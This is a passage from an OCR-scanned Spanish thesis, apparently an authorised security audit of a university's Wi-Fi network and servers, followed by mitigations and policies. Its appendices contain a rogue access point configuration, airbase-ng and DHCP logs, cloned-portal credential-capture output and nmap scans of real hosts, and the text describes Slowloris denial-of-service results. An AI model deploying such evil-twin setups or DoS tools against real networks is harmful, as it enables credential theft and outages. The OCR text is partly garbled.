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Este tipo de ataque funciona cuando la victima se encuentra cerca de

nosotros y por ende recibira mejor nuestra sefal de radio.

Se suplanté también la interfaz Web de autenticacién a la red para
capturar las credenciales de la victima. El proceso de conexion y
autenticacion mediante el punto de acceso falso es idéntico a como
si se tratase de una conexion legitima. Es por esto que es muy dificil
que la victima pueda darse cuenta de lo que esta ocurriendo y mas

aun si es un usuario que no conoce sobre redes.

Firmware de dispositivos inalambricos desactualizado

En muchas ocasiones el software con el que cuentan los dispositivos
de red presenta vulnerabilidades que son descubiertas y publicadas
a través de Internet. Se intenté hallar algun fallo del software del
dispositivo de administracion pero no se encontré ninguno que pueda
afectarlo. Cabe destacar que si el dispositivo estuviera
desactualizado con alguna otra version especifica del firmware se
hubiera logrado burlar el acceso administrativo. Por esto es
importante que los administradores de red siempre mantengan
actualizados los equipos y estén atentos a cualquier falla de

seguridad que se presente por parte del fabricante.
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Contraseinas de administracién no seguras

Se intentd hallar la contrasefia de administracion del dispositivo de
control inaldmbrico mediante fuerza bruta. Estos ataques de
diccionario son efectivos cuando las contrasefias son palabras faciles
de adivinar. Si la contrasefia no es suficientemente segura entonces
esta podria ser hallada mediante este tipo de ataque en cual se
prueban todas las posibles contrasefias como si de un diccionario se
tratase hasta que se da con la correcta. Esta técnica toma bastante
tiempo dependiendo de la cantidad de palabras utilizadas y no se
garantiza hallar la contrasefia a menos que esta se encuentre dentro

del diccionario.

Ataques DoS

Los ataques de denegacion de servicios llevados a cabo en los
servidores del CTI fueron exitosos debido a que el programa que
intervino para este efecto llamado Slowloris compromete la
capacidad de los servidores de manejar un numero simultaneo de
conexiones HTTP. Entre los servidores afectados por Slowloris estan

Apache 1.x y Apache 2.x, que si no cuentan con el mdédulo apropiado
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para mitigar este ataque, son definitivamente vulnerables. Por medio
de la herramienta whatweb desarrollada por Andrew Horton que
permite identificar la tecnologia utilizada en una pagina web dada ya
sea con el URL o la direccion IP, se puede comprobar que la pagina
del CTl y del SIDWeb utilizan el servidor web Apache 2.2.17, el cual

es vulnerable a Slowloris.

Muchos de los servidores de produccion del CTl cuentan con el
servidor Apache, lo que los convierte muy probablemente en
servidores completamente vulnerables al ataque de denegacion de

servicio realizado con esta herramienta.



CAPITULO 6

6. ANALISIS DE RESULTADOS Y MECANISMOS DE

DEFENSA

Es necesario hacer un analisis de la informacion que se ha obtenido para
de esta manera medir las consecuencias que conlleva el robo de
informacion y la poca seguridad implementada. De acuerdo al grado de
riesgo se presentan técnicas de mitigacion para contrarrestar las falencias
de seguridad y convertir la red inalambrica en un lugar seguro para los

usuarios.
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6.1. Analisis de riesgos y vulnerabilidades reportados

Facilmente los usuarios pudieron conectarse al punto de acceso falso
con el nombre de ESPOL. A partir de aqui el usuario es
completamente susceptible a muchos tipos de ataque ya que se
encuentra conectado a una red que supuestamente brinda toda la
confianza y garantias de seguridad sin conocer que realmente que se
encuentra bajo el completo control de quien maliciosamente la creo.
El usuario pudo ser engainado mediante paginas de Internet que él
asume que son reales e ingresa contrasefas de sus cuentas o

tarjetas de crédito por una compra u otro motivo.

Por medio de la pagina clonada, la herramienta SET reporté a dos
estudiantes que ingresaron a ella proporcionandonos sus
credenciales de autenticacion. Este robo de informacion llega a ser
critico ya que el usuario y contrasefia obtenida se manejan tanto en
la cuenta del sistema académico como también SIDWeb y Mail de
ESPOL. En muchas ocasiones las mismas contrasefias son
utilizadas por el usuario para todo tipo de cuenta que poseen en
Internet poniendo en riesgo el acceso a cuentas de correo y redes
sociales como Hotmail, Gmail, Facebook, Twitter, entre otras. Por

otro lado por un hacker malicioso puede llegar a cometer actos
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ilicitos dentro en la red interna de ESPOL, utilizando la identidad del
usuario asi como hacer un uso inadecuado del internet para no ser

descubierto.

Analizando los ataques de denegacion de servicio, estos son muy
calamitosos ya que al privar del servicio ofrecido por el SIDWeb y
SIDWeb Beta conllevaria a que el sistema académico de la
universidad se vea afectado ya que cesarian las actividades que los
profesores realizan al igual que los estudiantes en el proceso de

informacion, cursos, calificaciones, proyectos entre otras.

Debido a que el CTI también maneja otros servidores como
Senescyt, GIS-CNE, CES, IAEN, etc, todos ellos con el Servidor Web
Apache 2.x vulnerable a Slowloris, el efecto es aun peor ya que son
utilizados por otras entidades privadas y gubernamentales que pagan
por los servicios. ElI CTl también maneja el servidor NAGIOS que es
un sistema de monitoreo de todos los servidores y utiliza de la misma
forma la version de Apache vulnerable. Hacer caer este servidor
conllevaria a no poder monitorear los demas servidores vulnerables.
Si los demas servidores son atacados junto con el NAGIOS, se
perderia totalmente el control de los servicios web (El servidor

NAGIOS fue atacado exitosamente en las pruebas).
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Hay que tener en cuenta que muchos de los aplicativos de la
universidad, no solo del CTI, son vulnerables a este ataque ya que
utilizan el servidor Apache como la pagina de la FIEC, FIMCP, FEN,

Blog de ESPOL, ESPOLTECH, etc.

Soluciones de seguridad frente a las vulnerabilidades
encontradas

Detectar un punto de acceso falso es ya algo dificil de hacer y mas
para un usuario comun. Existen sistemas de prevencion de intrusos
(IPS) tales como AirDefense o ZoneAlarm que tiene la capacidad de
identificar aquellos puntos de acceso que se hacen pasar por
legitimos. Cuando un atacante utiliza un punto de acceso falso, este
tiene que utilizar herramientas para capturar los paquetes del
usuario. Estos sistemas identifican el uso de estas herramientas.
Algunos de estos sistemas también funcionan de tal manera que los
puntos de acceso legitimos son detectados de acuerdo a algun
identificador, y cuando se encuentra uno que no lo es, se lanza una

alarma.

Para evitar ser victima de paginas clonadas, por ejemplo la de
ESPOL, el estudiante debe verificar que la pagina de autentificacion

se presente mediante el protocolo HTTPS con su debido certificado
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digital. Por otro lado podria realizarse por parte de la institucion un
anuncio al estudiantado mediante un aviso de seguridad antes de
ingresar sus credenciales, algo similar a lo que tiene las paginas Web
de los Bancos como la del Banco del Pacifico [28] para que no sean
victimas de un robo de credenciales. Proporcionando este mensaje
de Atencidén el estudiante podra tener conocimiento que la pagina a
la que va a ingresar sus credenciales cuente con las especificaciones

descritas en el mensaje. (Ver figura 6.1)

|5 =) S Slelellses[s[v]w

Figura 6.1. Pagina de ingreso a Intermatico

Se entiende que las credenciales de acceso son Unicas para cada
usuario, sin embargo un usuario puede estar conectado con las

mismas credenciales desde dos terminales diferentes. Por lo tanto se
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debe implementar un sistema que solamente permita al usuario estar

conectado desde un solo terminal.

Actualizar las versiones de los servidores Web afectados,
especialmente Apache o activar los modulos disponibles para este

servidor que bloquean especificamente el ataque de Slowloris.

Realizar una auditoria de seguridad minuciosa a todos los servidores
para identificar otros problemas con los servicios web como por
ejemplo ISS, actualizar software como Joomla, PHP, aplicar parches
a huecos de seguridad potenciales previamente encontrados, entre

otras, que pueden ser objetivos de ataque.

Ventajas y desventajas de las soluciones propuestas

Se debe tener cuidado con las politicas destinadas a detectar puntos
de acceso falsos ya que de no ser asi se pueden encontrar casos de
falsos positivos o también que el sistema logre ser enganado

facilmente.

Una mala costumbre de los usuarios es no leer las advertencias que

se presentan en pantalla, ya sea por tener conocimiento de tales
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anuncios y no darle importancia, o por pensar que no existe la
posibilidad de que lleguen a ser producto de un fraude. A esto se
suma que los usuarios a veces no cuentan con tiempo suficiente para
detenerse a leer, o simplemente se olvidan de verificar en caso de ya

saber.

En cuanto a la autenticacion, el hecho de soélo permitir a un usuario
conectarse desde una sola terminal y no tener dos o mas sesiones
activas al mismo tiempo, puede traer incomodidad porque es
probable que olviden cerrar su sesion en cierta maquina, y necesiten

iniciarla en una diferente.

Para llevar a cabo las actualizaciones necesarias es indispensable
realizar un plan de migracién para asi afectar lo menos posible a los

usuarios y a los sistemas en produccion.



CAPITULO 7

7.HERRAMIENTAS DE CONTROL, AUDITORIA Y

POLITICAS EN REDES WAN

Este capitulo es un poco apartado del desarrollo especifico de este
estudio y pretende ser una descripcidon general de herramientas de
auditoria y politicas de seguridad que se deben tener en cuenta para
mantener una red de trabajo confiable tanto para el acceso hacia ella

como para los servicios que esta presta.
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Es importante mantener las redes aseguradas y monitoreadas para
cualquier eventualidad que se presente que ponga en riesgo la integridad
de la misma. Por este motivo existen herramientas que ayudan a cumplir
este objetivo y asi garantizar en cierta medida que la red se encuentra
protegida de acciones maliciosas. Por otro lado deben existir politicas en
cuanto a la administracion y operacion de la red ya que esta es una parte

muy importante en cuanto a la seguridad de los datos.

7.1. Seguridad de acceso inalambrico a datos

La red inalambrica dentro del campus nos provee de herramientas
necesarias para nuestro desenvolvimiento diario a nivel académico
tanto para el estudiantado como para profesores, por lo que es
responsabilidad de ellos ser muy cuidadosos al momento de acceder

a los servicios por medio de sus credenciales.

Es muy sencillo configurar un punto de acceso inalambrico y mas
aun que un usuario se conecte a ella. Esta practica es muy peligrosa
porque el usuario estda expuesto a revelar sus credenciales de
acceso por medio de engafos de los que tal vez jamas se dé cuenta.
Por este motivo la responsabilidad de acceder arbitrariamente a una

red inalambrica cualquiera y ademas sin tomar las debidas
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precauciones y verificaciones pertinentes, cae directamente sobre el
usuario. Por esto, acceder inalambricamente a una red debe contar
con las garantias necesarias que asegure el uso de la misma como
conocer de antemano el punto de acceso, verificar que los servicios
sean legitimos y estar pendiente a cualquier anomalia que jamas se

haya presentado.

Es indispensable saber que el administrador de la red inalambrica es
responsable de los datos que los usuarios manejan dando
confiabilidad a cada usuario, pero esto tampoco ayuda si alguien
realiza algun tipo de ataque en el que pueda robar informacion
importante, por lo que el usuario tiene que estar consciente de la
seguridad de cada pagina en la que ingresa credenciales o datos
importantes ya que esto es de unica responsabilidad de cada

usuario.

Es muy importante que la informaciéon que viaja por la red, tenerla
muy bien organizada para de esta manera no exista problemas tanto
de administracion como de algun ataque hacia segmentos de la red.

Es muy importante restringir el ingreso a los datos, ya sea por

usuarios independientes al ingreso de informacion especifica para
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saber quién y cuando fueron accedidos los datos o en su defecto

quien los edita.

Todos los usuarios tienen la responsabilidad de hacer saber al
centro de servicios de informacién CSI si existe en algun momento
algun tipo de ataque o intruso que quiera perjudicar la integridad de

la red o en su caso de los usuarios.

7.2. Seguridad en la configuraciéon de puntos de acceso

Los puntos de acceso deben estar bien configurados de tal manera
que no se vea comprometida la red. Entre buenas practicas de
configuracion estan la de asignar una contrasefa de administracion
larga y dificil de adivinar, cambiar todas las contrasefias que vienen
por defecto, restringir el acceso administrativo desde afuera es decir
del lado de los usuarios, utilizar un buen cifrado de datos, desactivar
el acceso WPS que es altamente vulnerable, utilizar un firmware
actualizado recomendado por el fabricante para evitar huecos de
seguridad, tener respaldo de la configuracién del punto de acceso,

etc.
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7.3. Seguridad en el cifrado de informacion

Los datos que viajan por una red inalambrica por el hecho de estar
expuestos a todo cuanto le llegue su cobertura, deben tener un
cifrado fuerte que enmascare la informacioén para que no pueda ser
leida facilmente por un atacante. De acuerdo a capitulos anteriores
de este estudio se hablé de seguridad WEP, WPA y WPAZ2, los
cuales cuentan con diferente tipo de cifrado siendo los mas robustos

y altamente recomendados los de WPA y WPAZ2.

7.4. Herramientas para auditorias

Existen muchas herramientas que nos pueden ayudar con la
auditoria de la red inalambrica brindandonos datos estadisticos,
monitoreo y funciones que nos permiten sacar a la luz las malas
configuraciones de los dispositivos y servicios con el fin de mejorar la

seguridad en la red inalambrica.

Las alternativas son muchas y la mayoria se las puede encontrar en
distribuciones Linux especializadas para este efecto como Backtrack,
WifiSlax, Wifiway que son las mas conocidas. Estas distribuciones
incorporan una infinidad de herramientas de auditoria de redes

inalambricas y cableadas, entre las que se pueden citar la suite de
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Aircrack, Airoscript, GOYscript, BrutusHack, StringGenerator, Airlin,
Wash, Reaver, CockiesMoster, AirSSL, Metasploit, Nessus, y

muchas mas.

También es parte de las auditorias tener organizado los puntos de
acceso Yy saber la ubicacion exacta de ellos, ademas de controlar el
acceso a la red. Se debe incluir también la generacién de
estadisticas sobre cuales son los Puntos de Acceso a los cuales los
usuarios ingresan con mas regularidad. Mediante esto se ayuda al
administrador de red a buscar soluciones para que exista una mayor
disponibilidad y mejor alcance en los sectores que generan mas
trafico de red por los estudiantes. De igual manera controlar y
verificar el contenido de las transacciones irregulares que los

usuarios realicen.

Politicas de administracién y operacién

Se deben realizar politicas de administracion y operacion
implementadas por el directorio para sus operadores y para usuarios
que ayudara a regular y controlar los puntos de acceso, asi como
también el uso adecuado de la red. Deben existir leyes de
penalizacion para estudiantes que se encuentren ingresando a

sectores donde esta prohibido para ellos, de igual manera si se esta
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tratando de ingresar a informacion clasificada unicamente para
administradores. Estas politicas pueden ser definidas en diferentes
categorias, asi como también tienen que ser enfocadas a los

estudiantes para su mejor funcionamiento.

Podemos definir algunas que nos parecen adecuadas:

1. Tener correctamente Identificadas la ubicacion de cada punto

de Acceso dentro del campus.

2. Llevar registro de mantenimiento cada cierto tiempo a cada
punto de acceso asi como también de datos estadisticos de

cuantos alumnos ingresa promedio por semestre.

3. Todo punto de acceso que se quiera instalar debe ser

aprobado por la entidad administradora de red del campus.

4. Llevar un monitoreo constante para detectar los puntos de

acceso no autorizados presentes en el campus.

5. Informar al estudiantado sobre las politicas y manejo de la red

inalambrica dentro del campus.
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6. Senalizar adecuadamente los lugares donde se encuentran
cada punto de acceso para que el estudiante tenga
conocimiento donde poder ubicarse para receptar mejor la

senal.

7. Resolucion de problemas referentes al dafio o no
funcionamiento de cada punto de acceso en el caso de que

sea necesario.

Los estudiantes tienen que tener conocimiento del buen uso de la
red inalambrica, saber de las leyes que estan implementadas y en el
caso que no estén hay q implementarlas ya que si esto no se

resuelve, el uso de la red no estara beneficiando a la institucion.
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CONCLUSIONES

A pesar de que no se abarco todo lo referente a la seguridad de la red por
cuestion de tiempo y esfuerzo, debido a que se debe analizar muchos puntos
de todos los diferentes dispositivos para encontrar vulnerabilidades; se pudo
demostrar que la red inalambrica no es segura para los usuarios. De acuerdo
a nuestras pruebas faltan medidas de seguridad para evitar los puntos de
acceso falsos, y que el acceso que esta red provee hacia los servidores
internos da paso a vulnerar los servicios que la universidad provee a los
usuarios en general debido a una falta de seguridad en este caso de los

servidores web.

Por otro lado mas alla de la seguridad que necesita la infraestructura fisica y
l6gica de una red, el usuario juega un papel extremadamente importante ya

que él es la brecha mas peligrosa de seguridad en una organizacion. La
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cultura de los usuarios con respecto a la seguridad de los sistemas debe ser
una prioridad ante las demas medidas que se tomen. Generalmente esto no
es tomado en cuenta por los administradores de red ni por los mismos

usuarios, aun cuando ya conocen su responsabilidad.

Los mecanismos de defensa que consideramos factibles a implementar en
primera instancia por el nivel de riesgo de los problemas que mitigan son: en
primer lugar actualizar o parchar los servidores Apache y otros
comprometidos como pueden ser dhttpd o GoAhead Webserver para evitar
los ataques de denegacion de servicio mediante Slowloris; luego solicitar un
certificado digital confiable y mantenerlo actualizado para que sea
implementado en la pagina Web de autenticacion Wifi asi como otros
servidores que lo necesiten; y finalmente, concienciar a los usuarios sobre la
verificacion de este certificado al momento de iniciar sesién. Adicionalmente,
se debe hacer un estudio para implementar un sistema de prevencién de
intrusos que detecte puntos de acceso falsos y un sistema de autenticacion
que no permita dos sesiones simultdneamente activas para un mismo

usuario.
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RECOMENDACIONES

Las redes inalambricas que no son reconocidas por la ESPOL
deberian ser retiradas o justificar su existencia con las debidas
politicas de seguridad y estudios previos porque ademas de generar
interferencia con la sefal de la red ESPOL, abren una brecha de
seguridad con la red interna, mas aun si esta no tiene autenticacion

alguna.

Se debe evitar en lo mas posible que la red inalambrica ESPOL tenga
acceso a interfaces de administracion de dispositivos como por
ejemplo el Controlador de LAN Inaldmbrica ya que los usuarios de
esta red solo deberian tener acceso hacia Internet o a servicios como

SIDWeb, Académico en linea, correo, etc.

Se debe actualizar las politicas de seguridad determinando
contrasenas de acceso diferentes para correo, SIDWeb y Académico
en linea u obligar al estudiante cambiar de contrasefia una vez
otorgado su usuario para estos servicios. Esto incentivaria a los
usuarios a hacer consciencia sobre lo importante de cada contrasenfia.
Una buena practica seria también que las contrasefas de estos
servicios tengan un tiempo de expiracion de manera que se obliga al

usuario a renovarla frecuentemente.
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4. Se recomienda monitorear constantemente la actividad de la red mas
de cerca en busca de actividad extrafia como uso de herramientas
espias en la red, trafico excesivo, intento de acceso a servidores y
todo trafico anormal que sea potencialmente peligroso, tomando

acciones de acuerdo a la politica de seguridad implementada.
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ANEXO A. EJEMPLO DE WARDRIVING [37]
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ANEXO B1. UBICACION DE PUNTOS DE ACCESO EN
ESPOL
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ANEXO B2. UBICACION DE PUNTOS DE ACCESO EN
ESPOL
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ANEXO C1. RESULTADO DE WARDRIVING ESPOL (1)
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ANEXO C2. RESULTADO DE WARDRIVING ESPOL (2)
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ANEXO D. ARCHIVO /etc/dhcp3/dhcpd.conf

ddns-update-style none;

option domain-name-servers 192.168.20.1;
default-lease-time 60;

max-lease-time 72;

authoritative;

log-facility local7;

subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.20.10 192.168.20.100;

option routers 192.168.20.1;

option domain-name-servers 192.168.20.1;

}
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ANEXO E. ACTIVIDAD DEL PUNTO DE ACCESO
FALSO

11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:

59
59
59
59
62
84
84
B4
11
14
14
14
14
14
14

root@bt:~# airbase-ng -e ESPOL -c 11 -v mon@
56:
56:
56:
56:
57
)
57
37:
57:
57:
57
57:
L
57
57

Cre

Trying to set MTU g
Try

Acc
Got
Got
Got
Got
Got
Got
Got
Got
Got
Got
Got

ated tap interface at@
ate to 15680

in 0 seldMTU d i 018
Poifig, with BE PEF25:D3:iF4:3 starfed.
difected Probe .regiiest fro F :7381D - |y

directed probe request from 4C:@F:6E:2B:D3§24 - "ESPOL"
broadcast probe request from SC:E8:EB:CB:97:A6
broadcast probe request from SC:E8:EB:CB:97:A6
directed probe request from D4:87:D8:02:71:8B - "ESPOL"
broadcast probe request from CC:52:AF:56:E4:089
broadcast probe request from CC:52:AF:56:E4:089
broadcast probe request from CC:52:AF:56:E4:89
broadcast probe request from CC:52:AF:56:E4:89
directed probe request from 4C:8F:6E:2B:D3:24 - "ESPOL"
directed probe request from 4C:@F:6E:2B:D3:24 - "ESPOL"




ANEXO F. ACTIVIDAD DEL SERVICIO DHCP

root@bt:~# dhcpd3 -d -f -cf fetc/dhcp3/dhcpd.conf ate
Internet Systems Consortium DHCP Server V¥3.1.3
Copyright 2004-2009 Internet Systems Consortium.

All rights reserved.

For info, please wvisit https://www.isc.org/software/dhcp/ I

Wrote 13 leases to leases file.

Listening on LPF/at@/00:25:d3:f4:3a:36/192.168.20/24
Sending on LPF/atB/00:25:d3:f4:3a:36/192.168.20/24
Sending on Socket/fallback/fallback-net

DHCPREQUEST for 200.126.24.58 from 00:14:a5:76:ea:a5 via atd: unknown lease” 200.

126.24.58.

DHCPREQUEST for 200.126.24.58 from 00:14:a35:76:ea:a5 via at@: unknown lease 200.

126.24.58.

DHCPREQUEST for 200.126.25.126 from 00:23:4e:58:80:64 via at@: wrong network.
DHCPNAK on 200.126.25.126 to 80:23:4e:58:808:64 via ate

DHCPDISCOVER from 08:23:4e:58:a0:64 via ate

DHCPOFFER on 192.168.20.23 to 00:23:4e:58:a0:64 (MACOROMEL) via at®
DHCPREQUEST for 192.168.23.2‘(192.168.2@.1] fr @@:23:TE:58:39:64 (MACORONEL )
via at@ rl

99
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ANEXO G. CREDENCIALES CAPTURADAS POR SET

[#*] WE GOT A HIT! Printing the output:
PARAM: buttonClicked=4

PARAM: redirect url=

PARAM: err_ flag=e

POSSIBLE USERNAME FIELD FOUND: username=g;’

POSSIBLE PASSWORD FIELD FOUND: password=PU\
[#*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

-




ANEXO H1. ESCANEO DE LA RED 200.126.24.0 (1)

101

Scan  Jools  Profile Help

Target: | 200.126.24.0/22 [+| Profie [+] [scan] [concel

Comrmmand: | nmap -s5 -T4 -0 -v 200126.24.0/22

{ Hosts ” Services ] | MNrmap Dutpui| Ports / Hosts |Tapalagy| Host Detailsl Scam|

0 Host i 4 Port 1 Protocol 4 State 4 Service 1 Version

(=]
s

host-200-126-24-1.espol.eduec (| | [[.€.2  tp open  ssh

S T e e @ M3 ot open  https

host-200-126-24-110.espol.edu.e @ 16113 tep open  unknown
host-200-126-24-166.espol.edu.e
host-200-126-24-252.espol.edu.e|E
host-200-126-26-67 espol.edu.ec
host-200-126-26-84.espol.edu.ec
host-200-126-26-130.espol.edu.e
host-200-126-26-250.espol.edu.e
host-200-126-26-254.espol.edu.e
host-200-126-27-29.espol.edu.ec
host-200-126-27-91.espol.edu.ec
host-200-126-27-96.espol.edu.ec
host-200-126-27-99.espol.edu.ec
host-200-126-27-100.espel.edu.e
host-200-126-27-107.espol.edu.e
host-200-126-27-108.espol.edu.e
host-200-126-27-111.espol.edu.e
host-200-126-27-113.espol.edu.e
host-200-126-27-124.espol.edu.e
host-200-126-27-125.espel.edu.e

host-200-126-27-127 .espoledue ™
n | r

A | 0w

DEEE0DEEEEE

a0

FE BT E 0w E.

-
A

[ Filter Hosts




ANEXO H2. ESCANEO DE LA RED 200.126.24.0 (2)

Scan  Tools  Profile Help

Target: | 200126.24.0/22 -~ profile: |

102

[-] [scan] [cancel]

Command: | nmap -s5 -T4 -0 -v 200126.24.0/22

host-200-126-27-159.espol.edu.e
host-200-126-27-162.espol.edu.e| |
host-200-126-27-163.espol.edu.e
hiost-200-126-27-166.espol.edu.e
host-200-126-27-168.espol.edu.e
host-200-126-27-170.espol.edu.e( =
host-200-126-27-175.espol.edu.e
host-200-126-27-176.espol.edu.e
host-200-126-27-177.espol.edu.e
host-200-126-27-178.espol.edu.e

host-200-126-27-180.espol.edue —
m | 3

-

-

| Hosts I[ Services l | Mmap Dutpu1| Ports / Hosts |Topology| Host Detaiisl Scam|
05 1 Haost " 4 Port 4 Protocol 4 State 1 Service 4 Version

W host-200-126-27-144.espol.edu.e @ 135 top open  msrpc

W host-200-126-27-145.espol.edu.e @ 139 tcp open  netbios-ssn

[V host-200-126-27-146.espol.edu.e @ 45  top open  microsoft-ds

®  host-200-126-27-147.espol.edu.e @ 5357 tcp open  wsdapi

#  host-200-126-27-149.espol.edu.e

" host-200-126-27-151.espol.edu.e

< host-200-126-27-152.espol.edu.e

0 host-200-126-27-153.espol.edu.e

W host-200-126-27-154.espol.edu.e

A host-200-126-27-155.espol.edu.g

W host-200-126-27-156.espol.edu.e

-

! Filter Hosts
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ANEXO |. ESCANEO DE LA RED 200.126.24.0 (3)

Scan  Tools Profile Help

Target: | 200.126.24.0/22 | Profiie: | |=| [scan] |cancel]

Command: | nmap -s5 -T4 -0 -v 200.126.24.0/22 |

Hosts || Sewices | | Nmap Output| Ports/ Hosts | Topology | Host Details | Scans |
|

1 Hostname « Port 1 Proto

SEE:;C_;ESh @ host-200-126-24-166.espol.edu.ec (200126.24166) 135  tcp
| apple-xsrvr-admin @  host-200-126-27-143.espol.edu.ec (200126.27.143) 135 tcp
ceproxy-http ©  host-200-126-27-151.espol.edu.ec (200126.27.151) 135  tcp
cdfunc @  host-200-126-27-152 espol.edu.ec (200126.27.153) 135 tcp
e ©  host-200-126-27-155.espol.edu.ec (200126.27.155) 133 tcp
flexdrmi @ host-200-126-27-159.espol.edu.ec (200126.27.159) 135 tcp
ftp-data ©  host-200-126-27-163.espol.edu.ec (200126.27.163) 135 tcp
http
http-proxy
https
! icslap

irc
iss-realsecure
microsoft-ds
msrpc

I rrysql
ncd-conf
netbios-ssn
postgresgl
rootd

rtsp

cch

unknown

wsdapi

F[ Filter Hosts | =] I '




ANEXO J1. Escaneo del WLC (1)

= Fenmap
T e e Y

i — . —— E— T—— —
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- =

= | =]

Scan Tools Profile Help

E| Profile:

Target: | 200.126.26.0/22

E| Cancel

Command:

nmap -s5 -T4 -0 -v 200126.26.0/22

[

Hosts

|

Services

)

| Nmap Output| Ports / Hosts |Topo|ogy| Host Detailsl Scans|

05 ¢

" 0

EEETEEEEE A

(PR

by

»

Host
host-200-126-24-1.espol.edu.ec (20012

host-200-126-24-2 espol.edu.ec (200.12
host-200-126-24-110.espol.edu.ec (200
host-200-126-24-166.espol.edu.ec (200 | _
host-200-126-24-252 espol.edu.ec (200 1
host-200-126-26-67 .espol.edu.ec (2001
host-200-126-26-84 espol.edu.ec (200.1
host-200-126-26-130.espol.edu.ec (200 —
host-200-126-26-250.espol.edu.ec (200
host-200-126-26-254. espol.edu.ec (200
host-200-126-27-29.espol.edu.ec (2001
host-200-126-27-91 espol.edu.ec (200.1
host-200-126-27-96.espol.edu.ec (2001
host-200-126-27-99 espol.edu.ec (200.1
host-200-126-27-100.espol.edu.ec (200
host-200-126-27-107 espol.edu.ec (200
host-200-126-27-108. espol.edu.ec (200
host-200-126-27-111.espol.edu.ec (200
host-200-126-27-113.espol.edu.ec (200
host-200-126-27-124 espol.edu.ec (200 -

-

e 0 e e

11 | ¥

1 Port 1 Protocol {1 State 1 Service {1 Version

@ = tep open  ssh

@
@ 16113 tcp

tcp open  https

open  unknown
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ANEXO J2. ESCANEO DEL WLC (2)
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= Zenmap s o0 B * » ‘ ' -e ==
Scan Tools Profile Help
Target: | 200.126.26.0/22 | profile - Cancel
Command: | nmap -s5-T4 -0 -v 200.126.26.0/22
[ Huosts ” Services ] | Mmap Output | Ports / Hostsl Topology| Host Details | Scans
05 1 Host - ElEhost-lﬂﬂ-llﬁ-?.ﬂl-2.espo|.edu.ec (200,126,242} I
®  host-200-126-24-1.espol.edu.ec (20012 2 Host Status
[/ host-200-126-24-2.espol.edu.ec (200.12 State: up .
W host-200-126-24-110.espol.edu.ec (200 Open ports: 3 I ]
" host-200-126-24-166.espol.edu.ec (200 | _ Filtered ports: 997
I host-200-126-24-252.espol.edu.ec (200 Sioscelponee Sl
Scanned ports: 1000 -
B host-200-126-26-67.espol.edu.ec (2001 . (
W host-200-126-26-84 l.ed 2001 e e '
st-200-120-20-84, ! . .
° espol.edu.ec ( Last boot Wed Feb 13 13:13:40 2013
®  host-200-126-26-130.espol.edu.ec (200 —
=l Addresses
W host-200-126-26-250. l.edu.ec (200
° Espledicect Pvd: 200126242 3
7 host-200-126-26-254.espol.edu.ec (200 et Notavailable
®  host-200-126-27-29.espol.edu.ec (200.1 MAC:  00:23:04:7D:E3:67
®  host-200-126-27-91.espol.edu.ec (200.1
=l Hostnames
B host-200-126-27-96.espol.edu.ec (2001
Mame - Type:  host-200-126-24-2.espol.edu.ec - PTR
[/ host-200-126-27-99.espol.edu.ec (2001
[]  host-200-126-27-100.espol.edu.ec (200 L] Operating System
Mame: Cisco 4402 wireless LAN controller
7 host-200-126-27-107.espol.edu.ec (200
@ host-200-126-27-108.espol.edu.ec (200 sy
W host-200-126-27-111.espol.edu.ec (200 Ports used
[/ host-200-126-27-113.espol.edu.ec (200 05 Classes W
B host-200-126-27-124.espol.edu.ec (200 - TCP Sequence
4| 1 | 3
Filter Hosts IP ID Sequence =
& = = )/
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ANEXO K. DIRECCION IP DEL SERVIDOR DHCP

(PS>
[l CAPTURA_AUTH_CORRECTA [Wireshark 1.86 (SVN Rev 43142 from /trunk-1.8) - =

File Edit Wiew Go Capture Analyze Statistics Telephonz Tools Internals Help
SBEeE BERXEE AT & e[| w®E|i 8

Filter: | udp.port == 67 EI Expression.. Clear Apply Save

Mo. Time Source Destination Protocol Length Info

| »

287 166.786026 200.126.25.163 200.10.150.12 DHCP 342 DHCP Request - Transaction ID 0x194eed?

288 166.791673 200.10.150.12 200.126.25.163 DHCP 346 DHCP ACK - Transaction ID Ox194ee42
3096 420.748441 200.126.25.163 200.10.150.12 DHCP 342 DHCP Request - Transaction ID Ox194ee4? |_
3097 420.752692 200.10.150.12 200.126.25.163 DHCP 346 DHCP ACK - Transaction ID Ox194ee42 |* |
4015 652. 514858 200.126.25.163 200.10.150.12 DHCP 342 DHCP Request - Transaction ID 0x194ee4?
4016 652. 516988 200.10.150.12 200.126.25.163 DHCP 346 DHCP ACK - Transaction ID Ox194ee42
4620 896.174441 200.126.25.163 200.10.150.12 DHCP 342 DHCP Request - Transaction ID 0x194eed?
4621 896.188114 200.10.150.12 200.126.25.163 DHCP 346 DHCP ACK - Transaction ID 0x194ee42 |
65093 1131. 58478 200.126.25.163 200.10.150.12 DHCP 342 DHCP Request - Transaction ID 0x194eed2 -

client hardware address padding: 00000000000000000000 .

server host name not given
Boot file name not given
Magic cookie: DHCP
option: (53) DHCP Message Type
= option: (54) DHCP Server Identifier —

Length: 4 =
DHCP Server Identifier: 200.10.150.12 (200.10.150.12)
option: (51) IP Address Lease Time Ll
option: (3) Router -

00e0 00 00 00 00 00 0O 00 0O OO0 00 00 00 00 00 00 00

gofo 00 00 0O OO OO OO OO 0O 00 00 OO0 OO0 00 00 00 00

0100 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00

0110 00 00 00 00 00 00 63 82 53 63 35 01 05 36 04 [{

0120 33 04 00 00 02 58 03 04 cB 7e 18 01 06
08 c0 bc

0140 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00
0130 00 00 00 00 00 ff 00 00 00 00

4 m. |
=

(@] M‘ Option 54: DHCP Server Identifier (bootp.op... | Packets: 6659 Displayed: 12 Marked:... | Profile: Default
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ANEXO L. DIRECCIONES IP Y NOMBRES DE DOMINIO

root@bt:-# ping wifi.espol.edu.ec

PING wifi.espol.edu.ec (200.10.150.12) 56(84) bytes of data.

64 bytes from 200.10.150.12: icmp seg=1 ttl=64 time=1.36 ms

64 bytes from 200.10.150.12: icmp seg=2 ttl=64 time=2.18 ms

~C

--- wifi.espol.edu.ec ping statistics ---

4 packets transmitted, 2 received, 50% packet loss, time 3812ms
rtt min/avg/max/mdev = 1.363/1.776/2.189/0.413 ms

root@bt:-# nslookup wifi.espol.edu.ec

Server: 192.188.59.45
Address: 192.188.59.45#53
Name: wifi.espol.edu.ec

Address: 200.10.158.12

root@bt:-# nslookup espol.edu.ec

Server: 192.188.59.2
